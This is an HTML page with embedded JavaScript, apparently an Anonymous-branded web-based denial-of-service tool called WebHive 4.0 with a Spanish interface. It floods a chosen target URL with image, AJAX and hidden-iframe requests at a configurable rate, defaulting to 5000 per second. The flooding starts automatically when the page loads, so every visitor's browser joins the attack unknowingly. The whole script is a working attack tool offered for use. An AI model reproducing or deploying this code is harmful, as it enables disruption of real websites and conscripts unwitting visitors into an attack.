<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-
transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>#OpLoQueSea - Webhive 4.0</title>
<link rel="icon" type="image/png" href="http://i.imgur.com/ATn9J.jpg" />
<style>
html {
background-color:#0F1823;
min-height:100%;
background-image: linear-gradient(bottom, #0F1823 0%, #455463 100%);
background-image: -o-linear-gradient(bottom, #0F1823 0%, #455463 100%);
background-image: -moz-linear-gradient(bottom, #0F1823 0%, #455463 100%);
background-image: -webkit-linear-gradient(bottom, #0F1823 0%, #455463 100%);
background-image: -ms-linear-gradient(bottom, #0F1823 0%, #455463 100%);
background-image: -webkit-gradient(linear, left bottom, left top, color-stop(0, #0F1823), color-stop(1,
#455463));
}
*, html, body {
margin: 0;
padding: 0;
font-family: Arial, Helvetica, sans-serif;
}
@keyframes greenPulse {
0% { background-color: #749a02; -webkit-box-shadow:: 0 0 9px #333; }
50% { background-color: #91bd09; -webkit-box-shadow:: 0 0 18px #91bd09; }
100% { background-color: #749a02; -webkit-box-shadow:: 0 0 9px #333; }
}
@keyframes redPulse {
0% { background-color: #f74c44; -webkit-box-shadow:: 0 0 9px #333; }
50% { background-color: #ff3232; -webkit-box-shadow:: 0 0 18px #ff3232; }
100% { background-color: #f74c44; -webkit-box-shadow:: 0 0 9px #333; }
}
@-moz-keyframes greenPulse {
0% { background-color: #749a02; -webkit-box-shadow:: 0 0 9px #333; }
50% { background-color: #91bd09; -webkit-box-shadow:: 0 0 18px #91bd09; }
100% { background-color: #749a02; -webkit-box-shadow:: 0 0 9px #333; }
}
@-moz-keyframes redPulse {
0% { background-color: #f74c44; -webkit-box-shadow:: 0 0 9px #333; }
50% { background-color: #ff3232; -webkit-box-shadow:: 0 0 18px #ff3232; }
100% { background-color: #f74c44; -webkit-box-shadow:: 0 0 9px #333; }
}
@-webkit-keyframes greenPulse {
0% { background-color: #749a02; -webkit-box-shadow:: 0 0 9px #333; }
50% { background-color: #91bd09; -webkit-box-shadow:: 0 0 18px #91bd09; }
100% { background-color: #749a02; -webkit-box-shadow:: 0 0 9px #333; }
}
@-webkit-keyframes redPulse {
0% { background-color: #f74c44; -webkit-box-shadow:: 0 0 9px #333; }
50% { background-color: #ff3232; -webkit-box-shadow:: 0 0 18px #ff3232; }
100% { background-color: #f74c44; -webkit-box-shadow:: 0 0 9px #333; }
}
button#fireButton.ready {
animation-name: greenPulse;
animation-duration: 2s;
animation-iteration-count: infinite;
-moz-animation-name: greenPulse;
-moz-animation-duration: 2s;
-moz-animation-iteration-count: infinite;
-webkit-animation-name: greenPulse;
-webkit-animation-duration: 2s;
-webkit-animation-iteration-count: infinite;
background-color: #91BD09;
-webkit-transition: background-color linear 1s;
}
button#firebutton:hover {
background-color: yellow;
-webkit-transition-duration: 2s; /* applies to the transition *to* the :hover state */
}
button#fireButton.working {
-animation-name: redPulse;
-animation-duration: 1s;
-animation-iteration-count: infinite;
-moz-animation-name: redPulse;
-moz-animation-duration: 1s;
-moz-animation-iteration-count: infinite;
-webkit-animation-name: redPulse;
-webkit-animation-duration: 1s;
-webkit-animation-iteration-count: infinite;
background-color: #ff3232;
-webkit-transition: background-color linear 1s;
}
button#fireButton {
font-size: 14px;
padding: 8px 19px 9px;
display: table;
color: white !important;
font-size: 13px;
font-weight: bold;
line-height: 1;
text-decoration: none;
-moz-border-radius: 50px;
-webkit-border-radius: 50px;
border-radius: 50px;
-moz-box-shadow: 0 1px 3px rgba(0,0,0,0.25);
-webkit-box-shadow: 0 1px 3px rgba(0,0,0,0.25);
text-shadow: 0 -1px 1px rgba(0, 0, 0, 0.25);
border-bottom: 1px solid rgba(0, 0, 0, 0.25);
position: relative;
cursor: pointer;
overflow: visible;
margin: 0 auto;
}
div.container {
padding: 10px;
-webkit-border-radius: 10px;
-moz-border-radius: 10px;
border-radius: 10px;
-webkit-box-shadow: 1px 1px 1px 1px rgba(50, 50, 50, 1), inset 2px 2px 7px #000;
-moz-box-shadow: 1px 1px 1px 1px rgba(50, 50, 50, 1), inset 2px 2px 7px #000;
box-shadow: 1px 1px 1px 1px rgba(50, 50, 50, 1), inset 2px 2px 7px #000;
border: 2px solid #FFF;
background: #f6f8f9;
background: -moz-linear-gradient(top, #f6f8f9 0%, #e5ebee 50%, #d7dee3 51%, #f5f7f9 100%);
background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,#f6f8f9), color-stop(50%,#e5ebee),
color-stop(51%,#d7dee3), color-stop
(100%,#f5f7f9));
background: -webkit-linear-gradient(top, #f6f8f9 0%,#e5ebee 50%,#d7dee3 51%,#f5f7f9 100%);
background: -o-linear-gradient(top, #f6f8f9 0%,#e5ebee 50%,#d7dee3 51%,#f5f7f9 100%);
background: -ms-linear-gradient(top, #f6f8f9 0%,#e5ebee 50%,#d7dee3 51%,#f5f7f9 100%);
background: linear-gradient(top, #f6f8f9 0%,#e5ebee 50%,#d7dee3 51%,#f5f7f9 100%);
filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#f6f8f9', endColorstr='#f5f7f9',GradientType=0
);
}
#footer, #footer a, #footer a:link, #footer a:active, #footer a:visited, #footer a:hover {
font-size: small;
color: white;
}
h1 {
font-size: 3.0em;
font-weight: 600;
color: black;
position: relative;
display: inline;
padding: 0 1px 0 0px;
margin: 0 auto;
}
h1::before {
content: attr(title);
position: absolute;
color: rgba(255, 255, 255, 0.15);
top: 1px;
left: 1px;
}
input[type=text] {
padding: 8px 3px;
background: white;
border: 1px solid #DEDEDE;
color: #000;
background: -webkit-gradient(linear, left top, left bottom, from(#F9F9F9), to(white));
background: -moz-linear-gradient(top, #F9F9F9, white);
-webkit-box-shadow: inset 1px 1px #ccc;
-moz-box-shadow: inset 1px 1px #ccc;
box-shadow: inset 1px 1px #ccc;
-webkit-border-radius: 5px;
-moz-border-radius: 5px;
border-radius: 5px;
}
</style>
</head>
<body>
<div style="clear: both; width: 650px; margin-left: auto; margin-right: auto; padding-top: 30px;">
<h1 title="#OpLoQueSea -- WebHive">#OpLoQueSea -- WebHive</h1>
<br style="clear: both;" />
<div class="container" style="float: left; margin-top: 10px; width: 250px;">
<label><b>Selecciona un tipo:</b><br />
<select id="type" style="width: 248px;" onchange="changeType();">
<option disabled="disabled"> </option>
<optgroup label="Iframe HTTP Request">
<option value="iframe">Iframe sst</option>
</optgroup>
</select>
</label>
<br style="clear: both;" />
<br style="clear: both;" />
<label><b>Selecciona una URL:</b><br />
<input type="text" id="targetURL" style="width: 240px;" onkeyup="changeValue();"
value="http://Aca_va_el_target.com"/>
</label>
<br style="clear: both;" />
<br style="clear: both;" />
<label><b>Peticiones por Segundo:</b><br />
<input type="text" style="width: 240px;" id="rps" value="5000" />
</label>
<br style="clear: both;" />
<br style="clear: both;" />
<label><b>Mensaje:</b><br />
<input type="text" id="message" style="width: 240px;" value="Somos Anonymous, Somos Legion, No perdonamos, No olvidamos, Esperanos! Anonymous Iberoamerica" />
</label>
</div>
<div class="container" style="float: right; margin-top: 10px; width: 250px;">
<b>Status</b><br style="clear: both;" />
<span style="float: left; width: 180px;">Solicitudes:</span> <span id="requestedCtr">0</span><br />
<span style="float: left; width: 180px;">Target cargado:</span> <span id="succeededCtr"
style="color: green;">0</span><br />
<span style="float: left; width: 180px;">Target no cargado:</span> <span id="failedCtr"
style="color: red;">0</span>
<br style="clear: both;" />
<br style="clear: both;" />
<label><b>Listo?</b><br />
<button id="fireButton" class="ready" style="width: 100px; height: 100px;"> Start Firing!
</button>
</label>
</div>
</div>
<div style="clear: both; height: 30px;"></div>
<div id="currentTarget" class="container" style="margin: 0 auto; width: 626px; margin-bottom: 25px; vertical-
align: middle; line-height: 18pt; overflow: hidden; white-space: nowrap;">Target actual:
http://Aca_va_el_target.com</div>
<div style="margin-left: auto; margin-right: auto; width: 200px; text-align: center;">
<div id="footer" style="padding-bottom: 25px; position: relative;">
<img alt="Anonymous"
src="http://i.imgur.com/4ro3NsI.png"
/>
<br />
<script type="text/javascript">
<!--
var r_text = new Array();
r_text[0] = "I disapprove of what you say, <br />but I will defend to the death your right to say
it.";
r_text[1] = "United As One. Divided By Zero.";
r_text[2] = "You cannot arrest an idea.";
r_text[3] = "We are Anonymous. <br />We are legion. <br />We do not forgive. <br />We do not
forget. <br />Expect us.";
r_text[4] = "Never forget to expect us.";
r_text[5] = "We are one. <br />Divided by zero, <br />we become infinity!";
r_text[6] = "Also c0cks!";
var i = Math.floor(r_text.length*Math.random())
document.write(r_text[i]);
//-->
</script>
</div>
</div>
<script type="text/javascript">
var requestedCtrNode = document.getElementById("requestedCtr");
var succeededCtrNode = document.getElementById("succeededCtr");
var failedCtrNode = document.getElementById("failedCtr");
var targetURLNode = document.getElementById("targetURL");
var fireButton = document.getElementById("fireButton");
var messageNode = document.getElementById("message");
var rpsNode = document.getElementById("rps");
var timeoutNode = document.getElementById("timeout");
var typeSelectNode = document.getElementById("type");
var targetURL = targetURLNode.value;
var typeSelect = typeSelectNode.value;
var requestedCtr = 0;
var fireInterval;
var isFiring = false;
var currentTime = new Date()
var lastSuccess = currentTime.getTime();
var requestsHT = {};
(function () {
succeededCtr = 0;
failedCtr = 0;
targetURLNode.onchange = function() {
targetURL = this.value;
};
typeSelectNode.onchange = function() {
typeSelect = this.value;
}
var makeAjaxGRequest = function() {
if ((currentTime.getTime()-lastSuccess) > 1000) {
return;
} else {
lastSuccess = currentTime.getTime();
};
var rID = Number(new Date());
msg = null;
var r;
if (window.XMLHttpRequest)
{
r = new XMLHttpRequest();
}
else
{
r = new ActiveXObject("Microsoft.XMLHTTP");
}
r.open('GET',targetURL,true);
r.send(msg);
requestsHT[rID] = r;
onRequest(rID);
r.onerror = function () { onFail(rID); };
r.onabort = function () { onFail(rID); };
r.onload = function() { onSuccess(rID); };
}
var makeAjaxPRequest = function() {
if ((currentTime.getTime()-lastSuccess) > 1000) {
return;
} else {
lastSuccess = currentTime.getTime();
};
var rID = Number(new Date());
msg = rID+'='+messageNode.value;
var r;
if (window.XMLHttpRequest)
{
r = new XMLHttpRequest();
}
else
{
r = new ActiveXObject("Microsoft.XMLHTTP");
}
r.open('POST',targetURL,true);
r.send(msg);
requestsHT[rID] = r;
onRequest(rID);
r.onerror = function () { onFail(rID); };
r.onabort = function () { onFail(rID); };
r.onload = function() { onSuccess(rID); };
}
var makeIframeRequest = function() {
if ((currentTime.getTime()-lastSuccess) > 1000) {
return;
} else {
lastSuccess = currentTime.getTime();
};
var rID = Number(new Date());
var iframe = document.createElement("iframe");
iframe.setAttribute('src', targetURL+'?msg='+messageNode.value);
iframe.setAttribute('style', 'border:none; overflow:hidden; width:0px; height:0px;');
iframe.setAttribute('scrolling', 'no');
iframe.setAttribute('id', rID);
iframe.setAttribute('allowtransparency', 'true');
iframe.setAttribute('frameborder', '0');
document.getElementsByTagName("html")[0].appendChild(iframe);
requestsHT[rID] = iframe;
onRequest(rID);
iframe.onload = function () { onSuccess(rID); document.getElementsByTagName("html")
[0].removeChild(document.getElementById(rID)); };
iframe.onerror = function () { onFail(rID); document.getElementsByTagName("html")[0].removeChild
(document.getElementById(rID)); };
iframe.onabort = function () { onFail(rID); document.getElementsByTagName("html")[0].removeChild
(document.getElementById(rID)); };
}
var makeImageRequest = function() {
if ((currentTime.getTime()-lastSuccess) > 1000) {
return;
} else {
lastSuccess = currentTime.getTime();
};
var rID = Number(new Date());
var img = new Image();
img.setAttribute("src", targetURL + "?id=" + rID + "&msg=" + messageNode.value);
requestsHT[rID] = img;
onRequest(rID);
img.onerror = function () { onFail(rID); };
img.onabort = function () { onFail(rID); };
img.onload = function () { onSuccess(rID); };
};
var onRequest = function(rID) {
requestedCtr++;
requestedCtrNode.innerHTML = requestedCtr;
};
var onComplete = function(rID) {
delete requestsHT[rID];
};
var onFail = function(rID) {
failedCtr++;
failedCtrNode.innerHTML = failedCtr;
delete requestsHT[rID];
};
var onSuccess = function(rID) {
succeededCtr++;
succeededCtrNode.innerHTML = succeededCtr;
delete requestsHT[rID];
};
fireButton.onclick = function() {
if (isFiring) {
fireButton.className = 'ready';
document.getElementById("type").disabled=false;
document.getElementById("targetURL").disabled=false;
document.getElementById("rps").disabled=false;
document.getElementById("message").disabled=false;
clearInterval(fireInterval);
isFiring = false;
this.innerHTML = "Disparar de Nuevo!";
} else {
fireButton.className = 'working';
document.getElementById("type").disabled=true;
document.getElementById("targetURL").disabled=true;
document.getElementById("rps").disabled=true;
document.getElementById("message").disabled=true;
isFiring = true;
this.innerHTML = "Dejar de Disparar!";
var interval = (1000 / parseInt(rpsNode.value) | 0);
switch(typeSelect) {
case 'image':
fireInterval = setInterval(makeImageRequest, interval);
break;
case 'ajaxget':
fireInterval = setInterval(makeAjaxGRequest, interval);
break;
case 'ajaxpost':
fireInterval = setInterval(makeAjaxPRequest, interval);
break;
case 'iframe':
fireInterval = setInterval(makeIframeRequest, interval);
break;
default:
fireInterval = setInterval(makeImageRequest, interval);
}
}
};
function auto_start(){
if (isFiring) {
fireButton.className = 'ready';
document.getElementById("type").disabled=false;
document.getElementById("targetURL").disabled=false;
document.getElementById("rps").disabled=false;
document.getElementById("message").disabled=false;
clearInterval(fireInterval);
isFiring = false;
fireButton.innerHTML = "Disparar de Nuevo!";
} else {
fireButton.className = 'working';
document.getElementById("type").disabled=true;
document.getElementById("targetURL").disabled=true;
document.getElementById("rps").disabled=true;
document.getElementById("message").disabled=true;
isFiring = true;
fireButton.innerHTML = "Dejar de Disparar!";
var interval = (1000 / parseInt(rpsNode.value) | 0);
switch(typeSelect) {
case 'image':
fireInterval = setInterval(makeImageRequest, interval);
break;
case 'ajaxget':
fireInterval = setInterval(makeAjaxGRequest, interval);
break;
case 'ajaxpost':
fireInterval = setInterval(makeAjaxPRequest, interval);
break;
case 'iframe':
fireInterval = setInterval(makeIframeRequest, interval);
break;
default:
fireInterval = setInterval(makeImageRequest, interval);
}
}
}
auto_start();
})();
function changeValue(){
targetURL = document.getElementById("targetURL").value;
document.getElementById("currentTarget").innerHTML = ("Current target: " + targetURL);
}
function changeType(){
typeSelect = document.getElementById("type").value;
}
</script>
</body>
</html>
<!-- Hosting24 Analytics Code -->
<script type="text/javascript" src="http://stats.hosting24.com/count.php"></script>
<!-- End Of Analytics Code -->